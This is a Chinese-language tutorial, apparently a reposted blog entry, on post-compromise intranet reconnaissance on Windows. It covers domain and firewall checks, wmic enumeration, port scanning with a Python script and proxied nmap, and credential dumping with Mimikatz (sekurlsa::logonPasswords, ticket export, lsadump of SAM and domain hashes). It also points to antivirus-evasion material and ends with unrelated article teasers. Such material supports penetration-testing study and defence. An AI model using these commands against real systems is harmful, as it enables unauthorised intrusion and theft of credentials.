内网渗透-信息收集篇

通过webshell或其他方式拿下一台机器,并且存在内网环境,这个时候就在准备进行内网渗透,而在内网渗透之前需要对本地机器进行信息收集,才能够更好的进行内网渗透。

目录

Windows本地基础信息收集

权限查看

判断域存在

查看防火墙状态

计算机基础信息

扫描网段

使用脚本扫描

nmap扫描

cs、msf扫描网段

WMIC信息收集

抓取密码

Mimikatz抓取密码


Windows本地基础信息收集

权限查看

判断是否在内网渗透之前进行提权。

whoami /all

判断域存在

可以利用/domain命令判断是否存在域。可以联合net user 用户 /domain查询用户的详细信息,且判断是否存在域,不存在域会报错。

net user 用户名 /domain
  • 用户名
  • 全名(如果有设置)
  • 描述
  • 密码信息(是否需要更改密码、密码过期等)
  • 上次设置密码的时间
  • 账户激活状态
  • 账户过期时间
  • 用户所属组(本地和全局组)
  • 上次登录时间

 其他命令:

net view /domain #不存在域报错
ipconfig /all  #判断存在域,看DNS后缀
systeminfo #会列出所处的域
net config workstation #查看"工作站域"中显示 登录组 还是 域,是域的话会显示你登录的域名

 定位域控主机

ping 域名
nslookup 域名

查看防火墙状态

netsh advfirewall show allprofiles

计算机基础信息

  • 系统信息:检查操作系统的详细配置信息,判断是否有可以利用的操作系统版本、补丁。
systeminfo
  • 进程情况:可以通过进程列表判断是否存在杀软
tasklist
  • 软件安装情况:查看是否有第三方工具可以进一步留后门或提权
#建议使用wmic工具,速度快
wmic product get name,version
#更详细
wmic product list brief | more
  • 计划任务:可能会看到一些敏感信息,比如需要对某些机器进行交互可能会看到密码之类的定时脚本任务等
schtasks
  • 网络连接情况:可能会发现内网数据库连接之类的情况
netstat -ano

扫描网段

使用脚本扫描

可以自写脚本或者利用网上已有的扫描脚本进行扫描。php,python,perl,ruby,java,c等程序都可以用来做端口扫描,同时还可以使用bat或者shell脚本来做扫描。

#!/usr/bin/env python
 
import socket
 
def get_ip_status(ip,port):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        server.connect((ip,port))
        print('{0} port {1} is open'.format(ip, port))
    except Exception as err:
        print('{0} port {1} is not open'.format(ip,port))
    finally:
        server.close()
 
if __name__ == '__main__':
    host = '10.0.0.1'
    for port in range(20,100):
        get_ip_status(host,port)

nmap扫描

关于利用nmap扫描首先可以通过webshell上传nmap到目标机

#扫描内网有多少主机在线
nmap -sP ip
#端口扫描
nmap ip

在上传不了nmap的情况下也可以通过代理不上传远程使用nmap

比如利用CS代理+proxychains+nmap进行内网扫描:CS开启socks4代理(只能使用tcp协议),所以使用nmap时要使用-sT命令选择tcp协议,要使用-Pn不使用ICMP的ping确认主机存活。

#CS开启socks协议
socks 监听端口
#在攻击机上进行nmap代理扫描
proxychains nmap -sT-Pn ip

分块(f)、时间延迟(delay)、指定已知端口扫描、、、、

cs、msf扫描网段

cs、msf都是常见的内网渗透利用工具,有专门的模块进行端口扫描。

WMIC信息收集

上述的基础信息也可以通过wmic来进行信息收集,wmic是Windows系统自带的功能,负责管理Windows系统的方法和功能。

#检索系统已安装的软件
wmic product list brief | more
或者
wmic product get name,version

#检索系统运行的服务
wmic service list brief | more

#搜索查看进程信息
wmic process list brief | more

#搜索启动程序
wmic startup list brief | more
或者
wmic startup get command,caption

#搜索共享驱动盘
wmic netuse list brief | more

#搜索用户账户
wmic useraccount list brief | more

#搜索计算机域控制器
wmic ntdomain list brief

#搜索登录用户
wmic logon list brief | more

#搜索已安装的安全更新
wmic qfe list brief | more

抓取密码

Mimikatz抓取密码

 Mimikatz是一款用于提取Windows系统中用户凭据的开源工具。

Mimikatz原理:Mimikatz通过逆向获取存储在lsass.exe进程中的明文登录密码。(lsass.exe用于微软Windows系统的安全机制,它用于本地安全和登录策略)。首先使用Mimikatz抓取时必须是管理员权限,在Win10、Win11、Win2012等版本中,系统会开启LSA保护,明文密码字段会显示null。

这里另外提提有关lsass.exe的本地身份认证过程:

首先,用户注销、重启、锁屏后,操作系统会让winlogon.exe显示登录界面,也就是输入框界面,接收用户的输入信息后,将密码交给lsass进程,这个过程中会存一份明文密码,然后将明文密码加密成ntlm hash值,对SAM数据库(SAM数据库包含所有组、账户的信息,如密码hash、账户的SID等)进行比较认证。

#提权
privilege::debug
#抓取明文密码
sekurlsa::logonPasswords
#导出lsass.exe进程中所有的票据
sekurlsa::tickets /export

#列出系统中的票据
kerberos::list
#清除系统中的票据
kerberos::purge
#导入票据到系统中
kerberos::ptc 票据路径

#(在域控上执行)读取所有域用户的哈希
lsadump::lsa /patch
#从sam.hive和system.hive文件中获得NTLM Hash
lsadump::sam /sam:sam.hive /system:system.hive
#从本地SAM文件中读取密码哈希
token::elevate
lsadump::sam

其实获取本地数据库信息的方法有很多种,比如除了Mimikatz抓取,还可以使用pwdump、powershell抓取。

由于Mimikatz的强大,各大系统对于Mimikatz的防护也是越来越强大,可以去了解一下关于Mimikatz的免杀,参考文章Mimikatz的使用及免杀方向(过360,火狐和WindowsDefinder) - 渗透测试中心 - 博客园

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/910232.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

诗林工作室(编号:mb0005)分享:HTML模版Paxton,一款自适应响应式图集、博客设计开发模板

这是来自国外一款HTML网页模板,适合Web开发人员做前端站点设计参考使用。全站模版倾向于图集、博客等多行业的平台模版开发。此模版适合各大CMS的主题模版开发参考,如常见的Wordpress主题开发、Z-Blog模板开发、Typecho模板开发、DiscuzX模板开发、Jooml…

SSLHandshakeException错误解决方案

1、错误提示 调用Http工具报如下异常信息: cn.hutool.core.io.IORuntimeException: SSLHandshakeException: Received fatal alert: handshake_failure2、查询问题 一开始我以为是代码bug,网络bug甚至是配置环境未生效,找了一大圈&#xf…

VBA07-方法

一、方法的定义 方法指对象所能执行的动作,它是一个动词。 二、方法的表达方式 三、关于工作簿的方法操作 3-1、新增一个工作簿 示例1: 此时,新增的工作簿的名字是系统默认的。 示例2: 【注意】: 当你尝试将工作簿…

MyBatis3-获取参数值的方式、查询功能及特殊SQL执行

目录 准备工作 获取参数值的方式(重点) 查询功能 查询一个实体类对象 查询一个list集合 查询单个数据 查询一条数据为map集合 查询多条数据为map集合 特殊SQL执行 模糊查询 批量删除 动态设置表名 添加功能获取自增的主键 准备工作 模块My…

构建基于 DCGM-Exporter, Node exporter,PROMETHEUS 和 GRAFANA 构建算力监控系统

目录 引言工具作用概述DCGM-ExporterNode exporterPROMETHEUSGRAFANA小结 部署单容器DCGM-ExporterNode exporterPROMETHEUSGRAFANANode exporterDCGM-Exporter 多容器Node exporterDCGM-ExporterDocker Compose 参考 引言 本文的是适用对象,是希望通过完全基于Doc…

基因组学与个性化健康:精准医疗的未来方向

基因组学(Genomics)是指对基因组,即一个生物体的全部基因和遗传信息进行分析和研究的科学,旨在探索基因在生物体中的功能、相互作用及其对健康和疾病的影响。个性化健康(Personalized Health)则是基于个体的…

阅读个位数?1分钟学会用AI做爆款,轻松涨粉不是梦

从去年开始,AI造就的视觉艺术就在各个平台上疯狂蔓延,人类用AI一年生成的内容,比过往几千年加起来都多。 网络上铺天盖地都是搞AI,但大部分人真的是在搞AI吗?并不尽然,大部分人只是想用AI搞钱。 更多实操…

发现 API 的 5 种方法

在处理目标时,最值得测试的部分是其 API。API 是动态的,它们比应用程序的其他部分更新得更频繁,并且负责许多后端繁重的工作。在现代应用程序中,我们通常会看到 REST API,但也会看到其他形式,例如 GraphQL …

Netty 如何自动探测内存泄露的发生

本文基于 Netty 4.1.112.Final 版本进行讨论 本文是 Netty 内存管理系列的最后一篇文章,在第一篇文章 《聊一聊 Netty 数据搬运工 ByteBuf 体系的设计与实现》 中,笔者以 UnpooledByteBuf 为例,从整个内存管理的外围对 ByteBuf 的整个设计体系…

51单片机教程(六)- LED流水灯

1 项目分析 基于点亮LED灯、LED灯闪烁,扩展到构成最简单、花样流水灯。 2 技术准备 1 流水灯硬件及原理图 流水灯是由多个LED灯组成的 2 C语言知识点 数组 数组声明:长度不可变 数据类型 数组名称[长度n] // 整数型默认为0,小数型默认…

基础算法——排序算法(冒泡排序,选择排序,堆排序,插入排序,希尔排序,归并排序,快速排序,计数排序,桶排序,基数排序,Java排序)

1.概述 比较排序算法 算法最好最坏平均空间稳定思想注意事项冒泡O(n)O( n 2 n^2 n2)O( n 2 n^2 n2)O(1)Y比较最好情况需要额外判断选择O( n 2 n^2 n2)O( n 2 n^2 n2)O( n 2 n^2 n2)O(1)N比较交换次数一般少于冒泡堆O( n l o g n nlogn nlogn)O( n l o g n nlogn nlogn)O( n l…

SpringBoot基础系列学习(四):Thymeleaf模板

文章目录 一丶什么是模板引擎二丶Thymeleaf 介绍三丶使用引入依赖代码html页面响应 一丶什么是模板引擎 模板引擎是一种将数据和模板结合起来生成最终结果的工具,它将一个模板和一个数据对象作为输入,通过模板解析和渲染生成最终的结果。通俗地说&#…

模块化开发 webpack

模块化开发 & webpack 1、模块化开发 & webpack1.1 webpack 执行过程1.1.1 初始化1.1.2 编译1.1.3 输出 2.1 webpack 基础配置2.1.1 Entry2.1.1.1 context2.1.1.2 Entry类型 2.1.2 output2.1.2.1 filename2.1.2.2 publicPath2.1.2.3 path2.1.2.4 libraryTarget 和 libr…

Spring WebFlux 核心原理(2-3)

1、Project Reactor 高级 1.1、响应式流的生命周期 要理解多线程的工作原理以及 Reactor 中实现的各种内部优化,首先必须了解 Reactor 中响应式类型的生命周期。 1.1.1、组装时 流生命周期的第一部分是组装时(assembly-time)。 Reactor 提供…

LabVIEW编程过程中为什么会出现bug?

在LabVIEW编程过程中,Bug的产生往往源自多方面原因。以下从具体的案例角度分析一些常见的Bug成因和调试方法,以便更好地理解和预防这些问题。 ​ 1. 数据流错误 案例:在一个LabVIEW程序中,多个计算节点依赖相同的输入数据&#…

AI大模型如何重塑软件开发:从传统流程到未来趋势?

人工智能技术的快速发展,尤其是AI大模型的兴起,正在深刻地改变着软件开发的各个环节。从代码自动生成到智能测试,再到项目管理和安全防护,AI大模型的应用正在提高开发效率、优化产品质量,并带来新的挑战。本报告将探讨…

Spring挖掘:(AOP篇)

学习AOP时,我们首先来了解一下何为AOP 一. 概念 AOP(面向切面编程,Aspect Oriented Programming)是一种编程技术,旨在通过预编译方式或运行期动态代理实现程序功能的统一管理和增强。AOP的主要目标是在不改变原有业务逻辑代码的…

Rust-宏编程

巴山楚水凄凉地,二十三年弃置身。 怀旧空吟闻笛赋,到乡翻似烂柯人。 沉舟侧畔千帆过,病树前头万木春。 今日听君歌一曲,暂凭杯酒长精神。 ——《酬乐天扬州初逢席上见赠》唐刘禹锡 【哲理】翻覆的船只旁仍有千千万万的帆船经过&a…

计算机网络——网络层导论

转发是局部功能——数据平面 路由是全局的功能——控制平面 网卡 网卡,也称为网络适配器,是计算机硬件中的一种设备,主要负责在计算机和网络之间进行数据传输。 一、主要功能 1、数据传输: 发送数据时,网卡将计算机…

推荐一款非常好用的视频编辑软件:Movavi Video Editor Plus

MovaviVideoEditorPlus(视频编辑软件)可以制作令人惊叹的视频,即使您没有任何视频编辑方面的经验! 该款视频编辑程序没有复杂的设置,只需进行直观的拖放控制。在您的电脑上免费使用MovaviVideoEditor亲身体验它的简单易用性与强大功能! 基本简介 您是否…